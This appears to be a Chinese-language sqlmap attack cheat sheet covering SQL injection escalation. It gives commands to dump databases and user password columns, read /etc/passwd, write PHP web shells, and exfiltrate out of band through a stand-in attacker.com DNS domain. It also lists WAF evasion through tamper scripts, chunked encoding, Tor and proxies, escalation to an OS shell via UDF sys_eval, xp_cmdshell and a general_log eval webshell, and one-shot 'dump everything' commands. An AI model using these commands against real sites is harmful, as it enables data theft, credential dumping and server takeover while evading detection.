一、注入扩大
1. 确认注入点
sqlmap -u "http://target.com/page?id=1" --batch --current-user --is-dba
(https请求记得加--force-ssl)
2. 扩大危害
| 目标 |
命令 |
| 爆库 |
--dbs |
| 爆表 |
-D dbname --tables |
| 爆列 |
-D dbname -T tab --columns |
| 拖数据 |
-D dbname -T tab -C col1,col2 --dump --threads 10 |
| 读文件 |
--file-read="/etc/passwd" |
| 写文件 |
--file-write=shell.php --file-dest=/var/www/html/shell.php |
| 命令执行（--os-shell） |
--os-shell |
| 带外回显 |
--dns-domain=attacker.com |
| 交互式 SQL 终端 |
--sql-shell |
一键梭哈
python sqlmap.py -u "http://target.com/page?id=1"--dbs --dump-all --threads 10--tamper=space2comment,charencode--random-agent --delay=0.5 --batch
3. 已知信息 → 节省时间，精准注入
| 已知项 |
对应参数 |
示例、解释 |
| 数据库类型 |
--dbms=mysql / --dbms=mssql / --dbms=postgresql … |
直接跳过指纹阶段 |
| 注入技术 |
--technique=U (Union) / E (Error) / B (Boolean) / T (Time) / S (Stacked) |
组合：--technique=UET |
| 注入点 |
-p id 或 * 标记 |
-u "https://x.com?id=1*" -p id |
| POST 参数 |
-r req.txt --data="id=1" |
与 -p id 同用 |
| Cookie 注入 |
--cookie="uid=9*" |
星号或 -p uid |
| 跳过探测 |
--skip-waf --skip-heuristics --threads 10 |
省指纹、省 WAF 测试 |
| 指定库/表/列 |
-D targetdb -T users -C id,pass |
只拉目标数据 |
| payload 数量增多 |
--level 0-5 |
--level 5 把“能测的都测” |
| payload 风险增加 |
--risk 0-3 |
--risk 3 把“敢用的都用” |
一键梭哈
python sqlmap.py -u "https://vuln.com/page?id=1*"--dbms=mysql--technique=U-p id--skip-waf --skip-heuristics-D targetdb -T users -C id,pass --dump--threads 10 --batch
二、检测并绕过 WAF
1. WAF 检测
| 功能 |
命令 |
| 自动识别 WAF 类型 |
sqlmap -u "http://target.com?id=1" --identify-waf |
2. 绕过方式速览
| 绕过策略 |
命令 |
说明 |
| 编码绕过 |
--tamper=charencode,apostrophemask,percent |
URL/Unicode/十六进制编码混淆 |
| 空格绕过 |
--tamper=space2comment,space2plus |
用/**/或+代替空格 |
| 参数污染 |
--param-del="&" -u "http://target.com?id=1&id=2" |
同名参数多次提交 |
| 分块传输 |
--chunked |
绕过基于 Content-Length 的检测 |
| 延迟盲注 |
--time-sec=10 --technique=T |
延长时间避免触发阈值 |
| 伪流量混淆 |
--null-connection --invalid-bignum |
仅测长度/大整数绕过数字型WAF |
| 代理/匿名 |
--proxy=socks5://127.0.0.1:1080 --tor |
通过代理池或 Tor 隐藏真实来源 |
| 随机化请求 |
--random-agent --delay=0.5 |
随机 UA 与间隔，降低检测概率 |
一键梭哈
sqlmap -u "http://target.com?id=1"--identify-waf--level 5 --risk 3--tamper=charencode,space2comment,apostrophemask--chunked --random-agent --time-sec=10 --delay=1
三、sqlmap --os-shell 原理 & 替代方案速查
--os-shell 原理
1.写入两个 PHP 文件
- 第 1 个：
tmp****.php 负责 文件上传
- 第 2 个：
tmp****.php 负责 命令执行
sqlmap 通过 INTO OUTFILE/DUMPFILE 把这两个脚本写到 Web 目录，再访问它们实现交互 Shell。
2.数据库差异
| 数据库 |
实现方式 |
| MySQL |
INTO OUTFILE + UDF（sys_eval） |
| SQL Server |
启用 xp_cmdshell 存储过程 |
| PostgreSQL |
COPY 或 pg_largeobject |
3.前置条件（缺一不可）
- DBA 权限：
--is-dba 必须为 True
- 已知网站绝对路径
secure_file_priv=""（MySQL 允许任意目录写入）- Web 目录具有写权限且 PHP
GPC=off（不自动转义单引号）
如果 --os-shell 失败
| 替代思路 |
命令/方法 |
适用场景 |
| UDF 提权 |
手动上传 udf.dll → CREATE FUNCTION sys_eval … → SELECT sys_eval('cmd') |
MySQL root 但无 Web 写权限 |
| 日志写 WebShell |
set global general_log=on; set global general_log_file='/var/www/html/shell.php'; SELECT '<?php eval($_POST[x]);?>'; |
无法 OUTFILE 但能修改日志路径 |
| --file-write |
sqlmap --file-write=shell.php --file-dest=/var/www/html/shell.php |
已知绝对路径且有写权限 |
| 后台拿 Shell |
--dump 爆管理账号 → 扫后台 → 登录后上传 Webshell |
SQL 注入无写权限但存在后台 |
| --sql-shell |
交互式 SQL 终端，手动构造 SELECT ... INTO OUTFILE |
需要精细控制写入内容 |